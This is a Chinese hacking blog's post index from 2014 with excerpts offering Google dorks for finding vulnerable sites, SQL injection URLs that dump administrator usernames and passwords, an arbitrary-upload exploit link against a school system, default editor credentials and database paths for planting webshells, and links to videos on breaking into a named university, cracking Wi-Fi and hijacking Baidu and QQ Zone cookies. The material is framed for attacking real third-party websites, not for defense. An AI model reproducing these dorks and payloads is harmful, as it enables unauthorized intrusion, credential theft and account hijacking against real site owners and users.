Hacker_Linux-CSDN博客

转载某版本JEECMS后台存在通用struts2命令执行漏洞。

某版本JEECMS后台存在通用struts2命令执行漏洞。可通过谷歌搜索关键字inurl:login/jeecms.do,可获得多个存在st2的漏洞网站该版本为jeecmsV2.x版本，漏洞系struts2框架自带的一个安全漏洞，由于jeecms在2010年开始停止了对jeecmsV2.X版本的维护，并建议广大用户统一升级到jeecms最新版本，估计还有很多用户至今未升级，在此，我

2014-12-25 09:47:18 1623

转载学校渗透系统

今天日站发现了一个 0day 学校的这是一个任意上传漏洞不用后台权限本地搭建上传成功得到一个shell 这个系统还有编辑器上传不重命名的可以利用iis6的解析漏洞服务器是内网的我没去进一步渗透附上exp: http://www.qiaocui.net/AjaxFileHandler.ashx?random=0.2077032807

2014-12-25 09:45:59 1434

转载 sqlmap使用技巧大全

常见参数：-u #注入点-f #指纹判别数据库类型-b #获取数据库版本信息-p #指定可测试的参数(?page=1&id=2 -p “page,id”)-D “” #指定数据库名-T “” #指定表名-C “” #指定字段Options（选项）：--version #显示程序的版本号并退出-h, --help #显示

2014-12-25 09:44:11 658

转载越南批量oday

关键字:site:.vn inurl:detail.asp?fold=漏洞页面:/admin/FCKeditor/_samples/default.html/FCKeditor/_samples/default.html/admin/admin_upload.asp利用方法:

2014-12-25 09:43:29 1033

转载如何查询使用了CDN的网站的真实IP

使用了 CDN的网站，如何查询他的真实IP地址，文章内容来源（核攻击的博客）。1：先查一下分站的IP，很多情况是主站使用了 CDN 而分站没有使用。类似这样 www.code521.com 使用了CDN ,那么 mail.code521.com blog.code521.com 等二级域名可能没有使用CDN,对于这种情况可以通过查询二级域名来获得真实的IP地址，值得注意的是通过二级域

2014-12-25 09:43:08 3263

转载 shopxp网上购物系统 v7.4 爆密码0day

漏洞版本：shopxp网上购物系统 v7.4 关键词：inurl:shopxp_news.aspshopxp_news.asp暴密码的语句：/TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201,2,admin%2bpassword,4,

2014-12-25 09:42:28 1379

转载国外某程序可批量可注入！

inurl:news_detail.asp?newID=EXP语句+union+select+1,2,3,username,5,password,7,8,9,10,11,12,13,14+from+Admins测试实列http://www.bi-ka.org/news_detail.asp?newID=107+union+select+1,2,3,usern

2014-12-25 09:42:02 416

转载 kuwebs漏洞整理

EXP： www.cnseay.com 把www.cnseay.com/admin1修改成网站后台地址，点击登陆即可。当然绕过的方法不止这些，还有比如覆盖数据库连接字符的等等。修复：不多说。。。八、任意文件上

2014-12-25 09:41:29 848

原创总结网站渗透的步骤

首先吧，主站入手注册一个账号，看下上传点，等等之类的。用google找下注入点，格式是Site:XXX.com inurl:asp|php|aspx|jsp最好不要带 www，因为不带的话可以检测二级域名。扫目录，看编辑器和Fckeditor，看下敏感目录，有没有目录遍及，查下是iis6,iis5.iis7，这些都有不同的利用方法Iis6解析漏洞

2014-12-25 09:40:35 905

翻译传信网络独立开发网站源码0day漏洞

后台system/login.asp进了后台有个ewebeditorGoogle 搜索inurl:product1.asp?tyc=编辑器漏洞默认后台ubbcode/admin_login.asp数据库ubbcode/db/ewebeditor.mdb默认账号密码yzm 111111拿webshell方法登陆后台点击“样式管理”-选择新增样式

2014-12-25 09:39:53 596

转载某信息技术考试系统编辑器漏洞可getshell

谷歌搜索 intitle:信息技术教学辅助平台3.0 然后丢进御剑，扫出来fck编辑器界面，然后自己解决别谢我，请叫我雷锋~

2014-12-25 09:38:38 864

转载谷歌关键字一枚

google关键字：inurl:product_show.asp?action=common 数据库地址：db/%23ruiutend%26anxiu.mdb 上传地址：manage/admin_flash.asp 上传后目录：uploadfiles/ProductImages/2014-1/PA20141

2014-12-25 09:37:34 470

原创 (原创)实战渗透河北经贸大学

链接: http://pan.baidu.com/s/1nt6zBRj 密码: k3mj

2014-12-25 09:35:26 990

原创 (原创)实战渗透学校

http://pan.baidu.com/s/1sjEytuH

2014-12-25 09:34:14 696

原创 (原创)实战bt5下破解无线网

链接：http://pan.baidu.com/s/1gdiVXzd 密码：jf6y

2014-12-25 09:31:17 1069

原创 (原创)kali linux下劫持百度和QQ空间cookie

链接：http://pan.baidu.com/s/1nt1GCbR 密码：dets

2014-12-25 09:27:56 1525

"黑色键盘's Bolg"